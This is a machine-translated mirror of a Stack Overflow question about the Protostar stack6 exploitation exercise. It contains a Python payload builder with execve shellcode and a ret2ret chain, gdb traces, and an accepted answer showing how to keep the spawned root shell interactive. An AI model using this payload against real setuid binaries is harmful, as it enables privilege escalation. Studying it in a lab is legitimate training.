首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >原星Stack6 -无原因的分段故障?

原星Stack6 -无原因的分段故障?
EN

Stack Overflow用户
提问于 2020-08-25 14:01:43
回答 1查看 237关注 0票数 1

所以,我正在做来自开发练习的原星挑战,我完全被困住了。Protostar运行在虚拟机上,模拟i686处理器。

代码语言:javascript
复制
uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux

该挑战涉及注入格式错误的用户提供的输入,以允许根访问。可执行文件设置了setuid标志,并具有所有者根。我通过/tmp/mypipe中的命名管道提供输入

在gdb中我运行

代码语言:javascript
复制
set disassembly-flavor intel
run < /tmp/mypipe

当我在RET指令的getpath()函数末尾设置断点并向前迈出一步时,一切都按预期工作。我的外壳代码被执行了。我证实,这些说明与来源的文档完全相同。(使用带有x/2i $eip的停止钩子并通过汇编程序进行单步执行)。所有的一切都能很好地工作,直到中断0x80 (syscall) (0xcd 0x80)为止。

有趣的是,gdb宣布:

执行新程序:/bin/破折号 程序接收信号SIGSEGV,分割故障。

从那以后什么都没用了。再次使用相同的输入运行它,只是分段错误。试图disassemble main产生No symbol "main" in current context.

一旦关闭GDB并重新启动,它就会产生与以前相同的行为。实际上,没有一个shell是可交互的。从命令行使用相同的有效负载只会产生一个分段错误。

我尝试过用msfvenom制作的许多有效载荷,都是针对x86 linux使用不同的编码器,禁止0x00、0x0a和0x0d。我试着将小的有效载荷放入缓冲区,然后将它们放在主堆栈帧中的返回地址之后,然后再放到后面。我试过的每一件事都给了我一个片段的错误。我搞不懂为什么这不管用。它是否与覆盖堆栈上的EBP,然后返回两次有关?但是LEAVE不会执行两次,只有RET

,怎么回事?

这一挑战的准则是:

代码语言:javascript
复制
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;
  printf("input path please: "); fflush(stdout);
  gets(buffer);

  ret = __builtin_return_address(0);
  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

程序逻辑禁止跳入堆栈。所以很明显你必须跳转到别的地方。我的想法是跳到getpath()末尾的RET指令,基本上是从程序逻辑不检查的堆栈中弹出另一个地址到EIP中。

结果显示,从堆栈的顶部开始有80B,其中buf开始指向堆栈上返回指针的第一个字节。

生成格式错误的输入的代码如下所示。

代码语言:javascript
复制
# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b"" 
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"

# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B

padding = "A"*80

# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40

# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]

# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]

print (padding + eip + eip2 + noop + buf)

注意:eip = eip[::-1]颠倒字节顺序,因为英特尔x86是小endian。

编辑:

这是机器的更详细的状态。

代码语言:javascript
复制
disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:   lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:   mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:   mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:   call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:   leave  
0x080484f9 <getpath+117>:   ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe 
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9  0xbffff6b0  0x90909090  0x90909090
0xbffff6ac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6bc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6cc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6dc: 0x90909090  0x90909090  0x6850c031  0x68732f2f
0xbffff6ec: 0x69622f68  0x89e3896e  0xb0c289c1  0x3180cd0b
0xbffff6fc: 0x80cd40c0  0x00000000  0x00000000  0x00000001
0xbffff70c: 0x080483d0  0x00000000  0xb7ff6210  0xb7eadb9b

如您所见,函数跳过bzzz +退出,因为返回地址通过了检查。下一个指令是ret,它返回到0x080484f9 ($esp的堆栈顶部)。那就是瑞特。

向前一步

代码语言:javascript
复制
(gdb) stepi
eip            0x80484f9    0x80484f9 <getpath+117>
esp            0xbffff6a0   0xbffff6a0
eax            0xbe 190
ebx            0xb7fd7ff4   -1208123404
0x80484f9 <getpath+117>:    ret    
0x80484fa <main>:   push   ebp
0xbffff6a0: 0xbffff6b0  0x90909090  0x90909090  0x90909090
0xbffff6b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  in stack6/stack6.c

还有另一个

代码语言:javascript
复制
Cannot access memory at address 0x41414145

我不知道那是关于什么的,也不知道为什么钩子没有开火,或者0x45是从哪里来的,但是

代码语言:javascript
复制
(gdb) i r
eax            0xbe 190
ecx            0x0  0
edx            0xb7fd9340   -1208118464
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff6a4   0xbffff6a4
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0xbffff6b0   0xbffff6b0
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

如您所见,EIP指向圆头雪橇。

代码语言:javascript
复制
(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb

从那里开始,它很好地执行到int 80,在其中,它是分段错误的。

代码语言:javascript
复制
(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff6fd: inc    eax
0xbffff6fe: int    0x80
代码语言:javascript
复制
(gdb) 
eip            0xbffff6f9   0xbffff6f9
esp            0xbffff698   0xbffff698
eax            0xb  11
ebx            0xbffff698   -1073744232
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff698: 0x6e69622f  0x68732f2f  0x00000000  0x90909090
0xbffff6a8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6b8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f9 in ?? ()
(gdb) 
Executing new program: /bin/dash

Program received signal SIGSEGV, Segmentation fault.
eip            0x805925e    0x805925e
esp            0xbffffcd0   0xbffffcd0
eax            0x3e9    1001
ebx            0xb7fd7ff4   -1208123404
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0xbffffcd0: 0x00000011  0x00000000  0x00000000  0xbffffd70
0xbffffce0: 0xbffffd28  0xbffffd34  0x00000000  0xb7fff8f8
0xbffffcf0: 0x00000000  0xb7ffc3e1  0xb7ffb8bc  0x08048bdd
0xbffffd00: 0x00000000  0xb7fe3494  0xbffffd44  0xb7fe3612
0x0805925e in ?? ()

(gdb) x /5i 0x805925e
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0x8059262:  je     0x8059295
0x8059264:  lea    esi,[esi+eiz*1+0x0]
0x8059268:  mov    DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax            0x3e9    1001
ecx            0xa  10
edx            0x805c340    134595392
ebx            0xb7fd7ff4   -1208123404
esp            0xbffffcd0   0xbffffcd0
ebp            0xbffffd98   0xbffffd98
esi            0x0  0
edi            0x0  0
eip            0x805925e    0x805925e
eflags         0x210282 [ SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

编辑2:

我从一个文件而不是管道中运行这个漏洞。我得到了一个奇怪的结果。我还是不知道该怎么做。

代码语言:javascript
复制
(gdb) run < /tmp/exploit 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
                1�@̀
Executing new program: /bin/dash

Program exited normally.
Error while running hook_stop:
The program has no registers now.
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2020-08-25 20:09:19

当管道或路由输入到程序,那么stdin基本上不再存在时,提供源是在它的输出结束或终止。所以你没有壳。

由于gdb加载的程序不再是stack6,而是/bin/sh,因此在具有这种行为的实例中,反汇编main不再工作。再次执行Run将执行/bin/sh。

当管道输入耗尽时,我不知道为什么程序分段出错。但是对于该文件,中断80没有分段故障,然后运行中断80,使用eax =1调用退出(Ebx),从而导致正常的终止。

要执行漏洞攻击,您需要不需要stdin输入的shell代码,例如metasploit反向tcp绑定shell,或者需要在执行漏洞攻击后提供连续的输入。例如:

代码语言:javascript
复制
(cat /tmp/exploit; cat) | ./stack6

它首先将漏洞输入到程序中,然后要求用户在stdin (cat)上输入更多的信息,然后将其输送到程序中。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/63580576

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档